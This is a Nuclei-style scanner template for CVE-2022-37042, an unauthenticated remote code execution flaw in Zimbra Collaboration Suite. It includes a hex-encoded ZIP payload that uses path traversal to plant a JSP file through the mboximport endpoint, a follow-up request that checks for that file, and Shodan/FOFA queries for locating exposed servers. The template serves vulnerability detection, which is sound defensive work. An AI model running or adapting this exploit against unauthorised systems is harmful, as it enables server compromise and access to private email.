id: CVE-2022-37042 info: name: Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution author: _0xf4n9x_,For3stCo1d severity: critical description: | Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925. impact: | Unauthenticated attackers can bypass authentication and upload arbitrary files through the mboximport functionality, achieving directory traversal and remote code execution on Zimbra Collaboration Suite servers, potentially compromising email systems and sensitive communications. remediation: | Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite. reference: - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/ - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/ - https://github.com/vnhacker1337/CVE-2022-27925-PoC - https://nvd.nist.gov/vuln/detail/CVE-2022-37042 - https://wiki.zimbra.com/wiki/Security_Center classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-37042 cwe-id: CWE-22 epss-score: 0.94333 epss-percentile: 0.99957 cpe: cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:* metadata: max-request: 4 vendor: zimbra product: collaboration shodan-query: - http.favicon.hash:"1624375939" - http.favicon.hash:"475145467" fofa-query: - app="zimbra-邮件系统" - icon_hash="475145467" - icon_hash="1624375939" tags: cve,cve2022,zimbra,rce,unauth,kev,vkev,vuln http: - raw: - | POST {{path}} HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}} - | GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1 Host: {{Hostname}} payloads: path: - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd stop-at-first-match: true matchers: - type: dsl dsl: - 'status_code_1 == 401' - 'status_code_2 == 200' - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')" condition: and # digest: 4a0a0047304502210097776e909db37aeec908f8e5778dd9c6a315f9e600309210ff636c851ed6552e022050de44390988ddd97d5238db7a63265b2d1d1d8e3421a2d08f18e9958d5e312c:922c64590222798bb761d5b6d8e72950
